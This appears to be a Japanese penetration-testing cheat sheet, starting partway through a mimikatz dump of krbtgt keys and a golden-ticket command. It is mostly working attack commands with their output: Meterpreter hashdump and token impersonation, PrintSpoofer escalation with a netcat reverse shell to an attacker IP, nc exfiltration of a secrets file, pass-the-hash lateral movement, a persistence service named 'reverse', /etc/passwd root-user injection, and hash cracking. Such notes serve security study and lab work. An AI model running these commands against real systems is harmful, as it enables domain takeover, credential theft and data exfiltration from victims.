13 52902abbeec1f1d3b46a7bd5adab3b57
14 6773fcbf03fd29e51720f2c5087cb81c
15 8f2593c344922717d05d537487a1336d
16 49c009813995b032cc1f1a181eaadee4
17 8552f561e937ad7c13a0dca4e9b0b25a
18 cc18f1d9a1f4d28b58a063f69fa54f27
19 12ae8a0629634a31aa63d6f422a14953
20 b6392b0471c53dd2379dcc570816ba10
21 7ab113cb39aa4be369710f6926b68094
22 7ab113cb39aa4be369710f6926b68094
23 e38f8bc728b21b85602231dba189c5be
24 4700657dde6382cd7b990fb042b00f9e
25 8f46d9db219cbd64fb61ba4fdb1c9ba7
26 36b6a21f031bf361ce38d4d8ad39ee0f
27 e69385ee50f9d3e105f50c61c53e718e
28 ca006400aefe845da46b137b5b50f371
29 15a607251e3a2973a843e09c008c32e3
* Kerberos
Default Salt : CONTROLLER.LOCALkrbtgt
Credentials
des_cbc_md5 : 64ef5d43922f3b5d
* Kerberos-Newer-Keys
Default Salt : CONTROLLER.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8e544cabf340db750cef9f5db7e1a2f97e465dffbd5a2dc64246bda3c75fe53d
aes128_hmac (4096) : 7eb35bddd529c0614e5ad9db4c798066
des_cbc_md5 (4096) : 64ef5d43922f3b5d
* NTLM-Strong-NTOWF
Random Value : 666caaaaf30081f30211bd7fa445fec4
# チケットの作成
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
User : Administrator
Domain : controller.local (CONTROLLER)
SID : S-1-5-21-849420856-2351964222-986696166
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 5508500012cc005cf7082a9a89ebdfdf - rc4_hmac_nt
Lifetime : 10/15/2022 1:34:04 AM ; 10/12/2032 1:34:04 AM ; 10/12/2032 1:34:04 AM
-> Ticket : ticket.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
Metasploitを利用する場合
# 権限の確認
## SeImpersonatePrivilegeを有していること
## SeDebugPrivilegeも有しているとなおよし
whoami /priv
# トークンの偽装
meterpriter> load incognito
meterpriter> list_tokens -g
meterpriter> impersonate_token "BUILTIN\Administrator"
# プロセスのマイグレーション(services.exeにマイグレーション)
meterpriter> migrate <pid>
meterpriter> getpid
# lsass.exeにmigrateする必要がある場合ものある
meterpriter> migrate <PID>
meterpriter> hashdump
UACバイパス
ローカルでの権限昇格チェック
Printspooferの悪用
# 権限の確認
# SeImpersonatePrivilegeがEnabledになっていること
c:\Windows\Temp>whoami
iis apppool\defaultapppool
c:\Windows\Temp>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
# 権限昇格
c:\Windows\Temp>powershell -c "Invoke-WebRequest -Uri 'http://10.13.1.50:8080/PrintSpoofer64.exe' -OutFile 'C:\Windows\Temp\PrintSpoofer64.exe'"
c:\Windows\Temp>PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
PrintSpooferを悪用する場合、インタラクトできない場合はリバースシェルを張ることによりシステム権限を有したシェルをゲットできる。
なおシェルを張るために事前にnetcatを準備しておく。
PrintSpoofer64.exe -c "\.nc64.exe <ataccker IP> <ataccker Port> -e cmd"
itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"
impaketを使う場合
ドメイン管理者グループに属している資格情報を有している場合、他ユーザーの資格情報をSAMデータベースからダンプできる。
python3 /<your install path>/impacket/examples/secretsdump <domain name>/<username>@<IP>
Lateral Movement
Linux
SSHを用いた横展開
# オプションはリバースシェルで取得したシェルの場合、対話が成り立たないため対話しないようにするもの
ssh -i id_rsa testuser@<target_ip> -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null
chcp 65001
Windows
impacket-psexec
やPsExec.exe
を用いることにより横展開可能
-
impacket-psexec
:Pass the Hash攻撃可能impacket-psexec <username>:<plain password>@<target IP> impacket-psexec -hashes ":<hash>" <username>@<target IP>
-
PsExec.exe
:NTLMの利用はできない。SysinternalsソフトウェアPsExec.exe -accepteula -i -u <username> -p <password> \\<target IP> cmd
-
evil-winrm
winRMを用いた展開、平文、Pass the Hashともに利用可能evil-winrm -i <target IP> -u <username> -p <password> evil-winrm -i <target IP> -u <username> -H <NTLM hash>
その他解析系
画像ファイルの解析
ファイルの埋め込み確認
binwalk <ファイル>
ステガノグラフィー確認
パスフレーズが必要
埋め込み確認
steghide info <ファイル>
データ抽出
steghide extract -xf <ファイル>
パスワードがない場合、オンラインツールを利用する
PDFファイルの解析
PDFファイル内部の画像抽出
pdfimages <Target PDF> <Export File Name>
Tips
ペンテストでよく使うコマンド(Linux基礎)
-
find
-
-name
:名前で検索 -
-type
:ファイルタイプ検索 -
-exec
:実行結果を他のコマンドに渡す -
-mtime
:更新日時で検索- n*24時間 以上過去に更新したもの、となる
-
-
grep
-
-e
:or検索 -
-r
:再帰検索 - man grep (1): パターンにマッチする行を表示する
-
- リダイレクト
-
コマンド 2> コマンド
:エラー出力をリダイレクト -
コマンド > コマンド 2>&1
:標準出力、エラー出力をファイルへ書き込む
-
viをカスタマイズする
touch ~/.vimrc
# 方向キーを使えるようにする
echo "set nocompatible" > ~/.vimrc
# バックスペースを有効にする
echo "backspace=indent,eol,start" >> ~/.vimrc
Windowsバイナリ in Kali Linux
KaliにはWindowsで使える便利なバイナリファイルを標準で格納している
$ ls -l /usr/share/windows-resources/binaries
合計 2392
drwxr-xr-x 2 root root 4096 5月 20 2024 enumplus
-rwxr-xr-x 1 root root 53248 3月 3 2023 exe2bat.exe
drwxr-xr-x 2 root root 4096 5月 20 2024 fgdump
drwxr-xr-x 2 root root 4096 5月 20 2024 fport
-rwxr-xr-x 1 root root 23552 3月 3 2023 klogger.exe
drwxr-xr-x 2 root root 4096 5月 20 2024 mbenum
drwxr-xr-x 4 root root 4096 5月 20 2024 nbtenum
-rwxr-xr-x 1 root root 59392 3月 3 2023 nc.exe
-rwxr-xr-x 1 root root 837936 3月 3 2023 plink.exe
-rwxr-xr-x 1 root root 704512 3月 3 2023 radmin.exe
-rwxr-xr-x 1 root root 364544 3月 3 2023 vncviewer.exe
-rwxr-xr-x 1 root root 308736 3月 3 2023 wget.exe
-rwxr-xr-x 1 root root 66560 3月 3 2023 whoami.exe
ファイル探索
共通
meterpriter> search -f <ファイル名>
Linux
find / -name "username" -or -name "password" 2>/dev/null
find / -name *secret* 2>/dev/null
Windows
dir /s *secret.txt
ファイル転送
Linux
- SCP
- Python
python3 -m http.server 8080
- nc
# 送信側 nc <ataccker IP> <ataccker Port> < secret.txt # 受信側 nc -lnvp <port> > recv_file.txt
Windows
# コマンドプロンプト
curl http://<IP>:<Port>/<file> -o <path to save>
# Powershell
Invoke-WebRequest -uri http://<IP>:<Port>/<file> -outfile <path to save>
RDP(Linux → Windows)
xfreerdp /dynamic-resolution /v:<target IP> /u:<username> /p:<password>
シェルのグレードアップ
パターン1
# インストールされているPythonのバージョン確認
python -V
python3 -V
# bashの起動
## Python2
python -c 'import pty; pty.spawn("/bin/bash")'
# Python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
# clearなどのコマンドを利用できるように
export TERM=xterm
# オートコンプリート、矢印等を利用できるように
^Z(Ctrl + Zでバックグラウンドへ移動させる)
stty raw -echo; fg
パターン2
script /dev/null -qc /bin/bash
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
内部ネットワークへの接続
SSHを用いたローカルポートフォワーディング
SSH接続先端末の奥にいる端末へ接続するため、SSH接続先を踏み台として通信を奥の端末に接続する。そのためにはポートフォワーディングを利用する。
ポートフォワーディングは特定のポートに届いたパケットを別のアドレスのポートに転送する技術である。
※ポートフォワーディングを行う際、踏み台は認証不要
# -L:ローカルポートフォワーディング(SSH元の端末のポート番号:フォワーディング先の端末IP:ポート)
ssh -N -L 8080:192.168.11.xx:80 user@example.com
ローカルポートフォワーディングチャネルを経由してSCPでファイルを取得する
scp -i /home/kali/id_rsa -P 8080 testuser@localhost:"/C:/Users/testuser/Desktop/Pentest/flag.txt" .
ダイナミックポートフォワーディング
SOCKSプロキシを用いてダイナミックポートフォワーディングを行う
# proxychainsの設定
sudo vim /etc/proxychains4.conf
## タイムアウト値のチューニング
tcp_read_time_out 150
tcp_connect_time_out 80
## ローカルポートの設定
[ProxyList]
socks5 127.0.0.1 1080
# SSHを用いてトンネル構築
ssh -fND 127.0.0.1:1080 <username>@<target IP> -p <target IP port>
# SOCKSプロキシ経由での通信
## SOCKSプロキシはTCPコネクションが確立されなければならないため、コネクトスキャン(-sT)を設定する
proxychains nmap -sT -Pn <internal target IP>
SSHを用いたリモートポートフォワーディング
中継サーバーで以下のコマンドを実施する
# ssh -N -R 攻撃者端末のフォワーディング用ポート:奥の端末のIP:奥の端末のアクセスしたいポート 攻撃者端末のアカウント@攻撃者端末のIP(ここは攻撃者端末へSSHするイメージ)
ssh -N -R <attacker port>:<remote IP>:<attacker Port> <ataccker PC name>@<attacker IP>
Linuxのサービス操作
Unitファイルの作成
vi /etc/systemd/system/reverse.service
ユニットファイルの中身。なお、Unitセクションに記載されている意味は、ネットワークが完全に構成されてからサービスが実行されるようにするためのものである。
[Unit]
After=network-online.target
Wants=network-online.target
[service]
ExecStart=<実行したいコマンド>
Type=oneshot
[Install]
WantedBy=multi-user.target
Unitファイルの反映
# Unitファイルの更新
sudo systemctl daemon-reload
# 自動起動の有効化
sudo systemctl enable reverse.service
ファイル編集を通じた権限昇格
chmod
コマンドを管理者権限で利用できる場合の手法。この例では/etc/shadow
を編集している。
ハッシュの反映
パスワードはkali
$ mkpasswd -m sha-512 -S saltsalt -s
Password:
$5$saltsalt$c4u2E6kOcEnHR95ytO7tVAOw1ROuO.4W0MYuHxj.Yn8
生成した値を/etc/shadow
へ書き込む
$ head -n 1 /etc/shadow
root:$5$saltsalt$c4u2E6kOcEnHR95ytO7tVAOw1ROuO.4W0MYuHxj.Yn8::0:::::
権限昇格
$ which su
/bin/su
$ sudo chmod u+s /bin/su
$ su root
Password:
# pwd
/home/mihari
# whoami
root
/etc/passwd
を編集する場合はユーザー追加を行う。
# ハッシュ値を生成
openssl passwd -1 -salt <任意のsalt> <任意のパスワード>
# passwdへユーザー情報を追記
## [ユーザ名]:[ハッシュ]:[ユーザーID]:[グループID]:[コメント(任意)]:/root:/bin/bash
## ユーザーIDとグループIDが0であればrootとなる
echo 'hoge:<generated hash>:0:0:helloworld:/root:/bin/bash' >> /etc/passwd
# suコマンドにSUIDを設定
sudo chmod u+s /bin/su
# 追加したユーザーへ切り替え
su hoge
rshellからの脱出
ID, PWが判明している前提
sshpass -p '<password>' ssh <username>@<IP> -t bash
パスワードハッシュの解析
サイトを活用した解析
John the Ripper
キャッシュの削除
rm ~/.john/john.pot
ハッシュタイプが不明な場合
john --format=GOST <ハッシュファイル>
パスワードリストを指定する
john --wordlist:<ファイルパス>
NTLMハッシュの解析
# John The Ripperを使う場合
john --format=NT <ハッシュファイル>
64f12cddaa88057e06a81b54e73b949b:Password1
c39f2beb3d2ec06a62cb887fb391dee0:Password2
c4b0e1b10c7ce2c4723b4e2407ef81a2:Password3
2777b7fec870e04dda00cd7260f7bee6:P@$$W0rd
f4ab68f27303bcb4024650d8fc5f973a:MYpassword123#
hashcatを使う場合
- ハッシュタイプを確認してHash-Modeを指定すること
# hashcatを使う場合
hashcat -m 1000 ./mimikatz_hash.txt /usr/share/wordlists/rockyou.txt
icaclsの権限説明
フラグ | 権限 | Full Description |
---|---|---|
F | フル | Full Access |
M | 変更 | Modify |
RX | 読み取りと実行 | Read eXecute |
R | 読み取り専用 | Read |
W | 書き込み専用 | Write |
OI | オブジェクトの継承 | Object Inherit |
CI | コンテナの継承 | Container Inherit |
IO | 継承のみ | Inherit Only |
AD | アクセス拒否 | Access Denied |
I | 継承された権限 | Inherited |
ICACLS は、ACE エントリの正規の順序を維持します:
明示的な拒否内容
明示的な許可内容
継承された拒否内容
継承された許可内容
perm はアクセス許可マスクであり、次の 2 種類の方法で指定できます:
単純な権限を列挙:
N - アクセス権なし
F - フル アクセス権
M - 変更アクセス権
RX - 読み取りと実行のアクセス権
R - 読み取り専用アクセス権
W - 書き込み専用アクセス権
D - 削除アクセス権
特定の権限をコンマ区切りでかっこ内に列挙:
DE - 削除
RC - 読み取り制御
WDAC - DAC の書き込み
WO - 所有者の書き込み
S - 同期
AS - システム セキュリティへのアクセス
MA - 無制限
GR - 一般的な読み取り
GW - 一般的な書き込み
GE - 一般的な実行
GA - 一般的なすべての操作
RD - データの読み取り/ディレクトリの一覧表示
WD - データの書き込み/ファイルの追加
AD - データの追加/サブディレクトリの追加
REA - 拡張属性の読み取り
WEA - 拡張属性の書き込み
X - 実行/スキャン
DC - 子の削除
RA - 属性の読み取り
WA - 属性の書き込み
継承権限はどちらの形式の前にも配置でき、ディレクトリにのみ適用されます:
(OI) - オブジェクト継承
(CI) - コンテナー継承
(IO) - 継承のみ
(NP) - 継承を適用しない
(I) - 親コンテナーから継承した権限
netcatの各種準備
オプション説明
引数 | 説明 |
---|---|
-l | 着信待ちモード(サーバーモード) |
-v | 詳細の出力 |
-n | 逆引き解決しない |
-p | ポート指定 |
サーバーモード
nc -lvnp 9999
クライアントモード
nc <IP> <Port>
# 接続元ポート番号をTCP/53に設定し、名前解決しない
nc -nv -p 53 <IP> <Port>
Metasploit用のデータベース準備
- データベースの起動
systemctl start postgresql
- データベースの初期化
msfdb init
- データベースとの接続状況確認
msf> db_status
- ワークスペースの準備
# ワークスペース一覧表示
msf> workspace -l
# ワークスペースの削除
msf> workspace -d <workspace name>
# ワークスペースの追加
msf> workspace -a <workspace name>
- スキャン結果のホストデータを活用する
msf> use auxiliary/scanner/ftp/anonymous
msf> hosts -R
msf> show options
Module options (auxiliary/scanner/ftp/anonymous):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS 10.10.171.100 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 21 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
参考サイト
利用フェーズ | サイト名 | URL |
---|---|---|
偵察 | Nmap オプションマニュアル | https://nmap.org/book/man-briefoptions.html |
初期アクセス | SQLインジェクション チートシート | http://www.byakuya-shobo.co.jp/hj/moh/sqlinjectioncheatsheet.html |
初期アクセス | SQLmap マニュアル | https://github.com/sqlmapproject/sqlmap/wiki/Usage |
持続化 | リバースシェル ジェネレーター | https://www.revshells.com/ |
持続化 | PHP リバースシェル | https://github.com/pentestmonkey/php-reverse-shell |
持続化 | nishang Powershell Reverse shell | https://github.com/samratashok/nishang/tree/master/Shells |
権限昇格 | GTFObins | https://gtfobins.github.io/ |
権限昇格 | LinPEAS | https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS |
権限昇格 | WinPEAS | https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS |
権限昇格 | Powershell 権限昇格ツール | https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 |
権限昇格 | Power View | https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993 |
権限昇格 | Crack Station | https://crackstation.net/ |
権限昇格 | hashes | https://hashes.com/en/decrypt/hash |
その他 | CyberChef | https://gchq.github.io/CyberChef/ |